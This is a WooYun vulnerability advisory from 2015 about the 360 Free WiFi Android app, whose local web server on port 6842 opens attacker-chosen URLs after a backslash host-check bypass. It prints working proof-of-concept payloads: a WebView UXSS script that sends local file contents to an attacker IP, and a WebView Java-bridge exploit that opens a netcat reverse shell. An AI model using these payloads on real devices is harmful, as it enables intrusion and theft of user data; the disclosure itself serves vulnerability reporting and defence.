当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142738

漏洞标题:360免费WIFI可远程控制用户行为(种马弹shell窃取信息)

相关厂商:奇虎360

漏洞作者: 瘦蛟舞

提交时间:2015-09-22 11:45

修复时间:2015-12-21 12:26

公开时间:2015-12-21 12:26

漏洞类型:远程代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-22: 细节已通知厂商并且等待厂商处理中
2015-09-22: 厂商已经确认,细节仅向厂商公开
2015-09-25: 细节向第三方安全合作伙伴开放
2015-11-16: 细节向核心白帽子及相关领域专家公开
2015-11-26: 细节向普通白帽子公开
2015-12-06: 细节向实习白帽子公开
2015-12-21: 细节向公众公开

简要描述:

360免费WIFI个貌似后门的功能,将会给用户带来如何隐患?

详细说明:

通过netstat发现360免费 wifi监听6842端口.那么这个端口是干啥了的,是否可以利用?

# busybox netstat -tunlp                                     
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::6842 :::* LISTEN 17222/com.qihoo.fre


首先逆向客户端来查看下这个端口的功能,通过关键字6842查找

6842.png


追到父类,发现其是一个 nanohttp 轻量 android webserver

nano.png


github 上有其源码,这里目测360只抽取了部分代码
[https://github.com/NanoHttpd/nanohttpd]
继续查看其是如何传参的

params.png


将请求中 u 中的 url 取出并且打开打开浏览器,但是在这之前有个对 host 的判断

forbidden.png


openurl.png


到这里貌似就只能打开360旗下的域名,再利用就比较麻烦了.找一个360域下的 xss?或者绕过这个 host 判断?
经过测试发现利用反斜杠可以绕过这个限制
http://192.168.1.102:6842/?u=http://drops.wooyun.org\.360.cn

success.png


漏洞证明:

接下来该如何进一步利用,居然是通过浏览器打开指定网页.首先想到的是:
- 钓鱼/木马 apk/广告
- webview rce
- webview UXSS
现在就做两个实验:
第一个是通过360免费 wifi 远程 打开指定网页结合 webview UXSS 窃取用户本地数据

local.png


test.html

<button onclick="iframe.src='http://notfound/'">Open http://notfound/</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://192.168.1.50/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2() style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://www.example.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>


test.js

var flag = 0;
function exploit2(){
if(flag) {return}
window.open('\u0000javascript:location.replace("http://192.168.1.50/?file="+escape(document.body.innerHTML))','test2');
flag = 1;
}


第二个是通过360免费 wifi 远程 打开指定网页结合 webview 远程代码执行,反弹 shell
rce.html

<script type="text/javascript">
// var obj_smsManager = searchBoxJavaBridge_.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
//
// obj_smsManager.sendTextMessage("10000",null,"hello_world!",null,null);
//
function execute(cmdArgs)
{
//searchBoxJavaBridge_
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
try{
// execute(["/system/bin/sh","-c","id > /sdcard/browser.txt"]);
execute(["/system/bin/sh","-c","busybox nc 192.168.1.50 8088|/system/bin/sh|busybox nc 192.168.1.50 9999"]);
alert("good job!");
}catch(e){
alert(e);
}
</script>


shell.png

修复方案:

版权声明:转载请注明来源 瘦蛟舞@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-09-22 12:25

厂商回复:

感谢提交,这个是正常的app功能,不是后门,请提交者和乌云的审核注意措辞。关于此功能存在的CVE-2014-1939漏洞的处理,在360安全响应中心的公告已发布评定标准,参考http:///Index/news/id/ 此类漏洞属于安卓系统漏洞,UXSS漏洞也属于同类型安卓系统漏洞,360安全响应中心近期会再补充UXSS相关参考。此处存在的安全问题,360免费wifi产品会紧急加固,谢谢。

最新状态:

暂无